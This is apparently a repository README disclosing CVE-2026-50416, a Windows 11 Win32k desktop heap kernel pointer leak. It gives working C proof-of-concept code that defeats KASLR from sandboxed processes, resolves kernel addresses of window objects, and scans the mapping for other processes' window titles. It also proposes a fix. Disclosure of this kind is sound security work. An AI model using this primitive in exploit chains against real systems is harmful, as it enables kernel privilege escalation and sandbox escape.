Skip to content

Latest commit

 

History

30 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

CVE-2026-50416: One QWORD Too Many in the Desktop Heap

On Windows 11 Insider build 10.0.28020.2149, the user mode mapping of the Win32k desktop heap exposed a raw kernel session pool pointer at offset 0x100.

The read itself is almost offensively small:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

In my test session, that returned:

0xffffc600dcc00040

The value stayed the same across processes on the same desktop and changed after a reboot. A process launched on another desktop received a different value because it had a different desktop heap. From this one QWORD, the PoC recovered the kernel desktop heap base and then used user32!gSharedInfo to derive the kernel addresses of live window objects.

The same read worked from Low integrity, AppContainer, an LPAC configuration with zero capabilities, and a Low integrity AppContainer child with zero capabilities.

The desktop heap is supposed to be shared. The kernel pointer is not.

The desktop heap from user mode

Win32k stores USER objects such as windows, menus, classes, hooks, and related metadata in desktop heaps. Each desktop has its own heap. Part of that heap is mapped into processes associated with the desktop so user mode can read shared GUI state without asking the kernel for every field.

On the tested x64 build, the user mode mapping can be reached through the current thread's TEB client data:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

The offsets are build specific, but the route is simple:

GS:[0x30]
    -> TEB
    -> ClientInfo at TEB + 0x800
    -> ClientInfo[5]
    -> user mode desktop heap mapping

The PoC calls VirtualQuery on the returned address and records the mapped region and its protection. Nothing has gone wrong yet. A read-only desktop heap mapping is normal Win32k behavior.

The problem begins 256 bytes into it.

The pointer at offset 0x100

The main PoC reads one QWORD from the mapped heap:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

The value passed the basic checks expected from a kernel virtual address on the tested system:

  • Canonical high bits
  • Eight byte alignment
  • Not one of the known sentinel values filtered by the PoC
  • Stable while windows were created and destroyed
  • Identical in tested processes on the same desktop
  • Different after reboot
  • Different on another desktop

The stability test creates STATIC, BUTTON, and EDIT windows, reads the value before creation, reads it again while the windows exist, destroys them, and reads it a third time.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

All three reads returned the same value. Window allocation activity did not move it. That behavior is consistent with a field in the desktop heap metadata rather than a short-lived object pointer.

The cross-process property is just as important. Two processes attached to the same desktop observe the same leaked value because they are looking at the same desktop heap. After a reboot, KASLR gives the session a new address. A child placed on another desktop observes another pointer because that desktop owns another heap.

That gives the leak a useful identity:

same boot + same desktop      -> same pointer
same boot + different desktop -> different pointer
new boot                       -> different pointer

Recovering the kernel desktop heap base

On the tested build, the leaked pointer sits 0x40 bytes above the kernel desktop heap base used by the PoC:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Using the recorded session value:

leaked pointer            = 0xffffc600dcc00040
kernel desktop heap base  = 0xffffc600dcc00000

This relationship is build specific. For the build used during testing, it gives the kernel-side anchor needed for the next step.

One pointer is already useful. An address for a chosen object is much more useful.

Resolving a window object through gSharedInfo

user32.dll exports gSharedInfo, which exposes the USER handle entry list and the size of each entry:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

An HWND contains an index into the USER handle table. The PoC takes the low 16 bits of the handle, walks to the matching entry, and reads the desktop heap offset stored there.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

The same offset names the object in both mappings:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

So the full calculation is:

kernel desktop heap base = desktop_heap[0x100] - 0x40
handle index              = HWND & 0xffff
heap offset               = aheList[handle index].offset
kernel window address     = kernel desktop heap base + heap offset

The PoC creates six window classes and performs the calculation for each one:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

For every object, it prints the HWND, handle index, user mode object address, heap offset, and kernel address.

HWND
  -> low 16-bit handle index
  -> gSharedInfo handle entry
  -> desktop heap offset
  -> kernel desktop heap base + offset
  -> kernel address of that window object

This is the part that turns the disclosure from a loose kernel pointer into an address oracle for selected USER objects on the tested desktop heap.

Why the sandbox tests matter

The desktop heap arrives through a shared mapping. Integrity levels and AppContainer restrictions do not rewrite the contents of that mapping for each process. If the process receives the desktop heap, it receives the QWORD at 0x100 with it.

The sandbox PoC launches children in several contexts and makes each child read the value from its own TEB and its own desktop heap mapping.

Context Configuration Result
Medium integrity Standard user process Leaked
Low integrity Token integrity lowered to Low Leaked
AppContainer Zero requested capabilities Leaked
LPAC configuration All application packages opt-out policy, zero requested capabilities Leaked
Low integrity AppContainer Low IL plus AppContainer, zero requested capabilities Leaked
Alternate desktop Child assigned to a new desktop Leaked a different value

The first five children were attached to the default desktop and returned the same address. The alternate desktop child returned another address because it received another desktop heap.

The child output has a compact format so the parent can compare results:

RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

The stricter helper also records the token state and capability count:

RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

The important detail is not that the child can call a special Win32k API. It does not need one. Once the mapping is present, the leak is a normal user mode memory read.

No window creation required

A separate helper performs the read without calling CreateWindow.

It checks the desktop heap pointer, reads desktop_heap[0x100], explicitly loads user32.dll, checks the mapping again, and still never creates a window. Another renderer-like child loads user32.dll, performs the same read, and exits without creating any window.

The useful result is straightforward:

No window object needs to be created before reading the leaked QWORD.

The leak belongs to the desktop heap mapping itself, not to a window created by the attacking process.

The renderer-like child

supporting_proof_remote_trigger.c creates a Low integrity AppContainer child with zero requested capabilities. The child does only a small amount of work:

LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Recorded output:

RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

That demonstrates the read from a renderer-like token configuration. A separate browser memory corruption bug that already gives native code execution in such a process would not need another information disclosure before reading this desktop heap pointer.

What else was visible in the mapping

Once I had a reliable pointer, I scanned the mapped region to see what else was present.

Additional kernel-shaped values

The scanner found six to ten additional unique QWORD values per run that passed the same canonical-address and alignment checks. The exact number changed with desktop activity. Offset 0x100 was the stable primary leak, but it was not the only value with a kernel address shape in the mapping.

Window titles from other processes

The sensitive-data helper enumerates top-level windows with EnumWindows, collects their owning PIDs and titles, and then searches the desktop heap mapping for the same titles as UTF-16 strings.

In the recorded run it found twenty unique titles belonging to other processes. The examples included browser tabs, Discord, Explorer, Spotify, and system tray windows.

The program only prints a title after both conditions are true:

  1. The string exists in the mapped desktop heap region.
  2. EnumWindows reports a window with that title and an owning PID different from the test process.

That makes the output easy to verify instead of relying on random printable strings found in memory.

Process ID occurrences

The helper also scans DWORD values in the mapping. A value is counted only when:

  1. It looks like a plausible PID.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) succeeds for it.
  3. The PID also owns a window found by EnumWindows.

The recorded run found 605 matching DWORD occurrences. That is a count of occurrences in the heap, not 605 unique processes. The same PID can appear more than once.

Password edit text

The helper creates an EDIT control with ES_PASSWORD, sets its text to SecretPassword123, and searches the mapped region for the SecretP prefix. It was not found in the tested run.

So the mapping exposed titles, PID occurrences, and kernel-shaped values, while the tested password string did not appear there.

What the leak changes during exploitation

For a Win32k memory corruption bug, knowing that an object exists is not the same as knowing where it lives in kernel memory.

Without the disclosure, the attacker has to deal with an unknown desktop heap base and unknown object addresses. With the disclosure, the address side becomes:

read one QWORD
subtract 0x40
read the target handle entry
add its heap offset

For a chosen HWND, the attacker now has the corresponding kernel desktop heap address on the tested build. That can help with:

  • Tracking a target object through heap activity
  • Distinguishing the intended object from neighboring allocations
  • Calculating the address used by a separate read, write, or corruption primitive
  • Checking whether heap shaping produced the expected layout
  • Removing desktop heap address guessing from a Win32k exploit chain

The leak solves the address problem. Heap shaping, object replacement, and the memory corruption primitive remain separate parts of the exploit.

That division matters. KASLR does not stop memory corruption. It makes reliable targeting harder. This QWORD removes that uncertainty for the desktop heap region used by the PoC.

Reproduction

Tested environment

Windows 11 Insider Build 10.0.28020.2149
Standard user
Medium integrity baseline

Files

Compile

Run:

compile.bat

Select the target from the menu.

The main PoC can also be compiled directly from a Visual Studio developer command prompt:

cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

Validate the pointer

Run the main PoC twice without rebooting:

kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

The pointer at desktop_heap + 0x100 should be identical in both runs.

Open a second terminal and run it from another process on the same desktop. The value should match again.

Reboot and repeat. The value should change.

Run the sandbox test

kaslr_sandbox_proof.exe

The test launches each child, captures its output, and compares the leaked values. Children on the default desktop should report the same value. The alternate desktop child should report a different value.

Run the focused helpers

supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

Each helper isolates one part of the result so it can be reproduced without reading through the output of the full PoC.

Fix

The user mode mapping should not contain raw kernel virtual addresses.

The smallest fix is to sanitize the desktop heap header field before the page becomes visible in user mode. Windows already uses an opaque 0x6000000000 value for other desktop heap pointer fields, so the same style of replacement could be used here if user mode still needs the field.

If user mode does not need the header page, the cleaner fix is not to expose that page in the shared mapping.

The regression test is simple: create processes at Medium IL, Low IL, AppContainer, and LPAC configurations, map the desktop heap, and reject any canonical kernel address found in the user-visible header.

Closing

The entire chain begins with one ordinary read from a read-only mapping:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

That QWORD identifies the kernel desktop heap. gSharedInfo supplies the per-object offset. Together they turn a user mode HWND into the corresponding kernel address on the tested build.

No complicated trigger is hiding here. Windows put the desktop heap where user mode could read it, then left one kernel pointer inside the part it shared.

One QWORD was enough.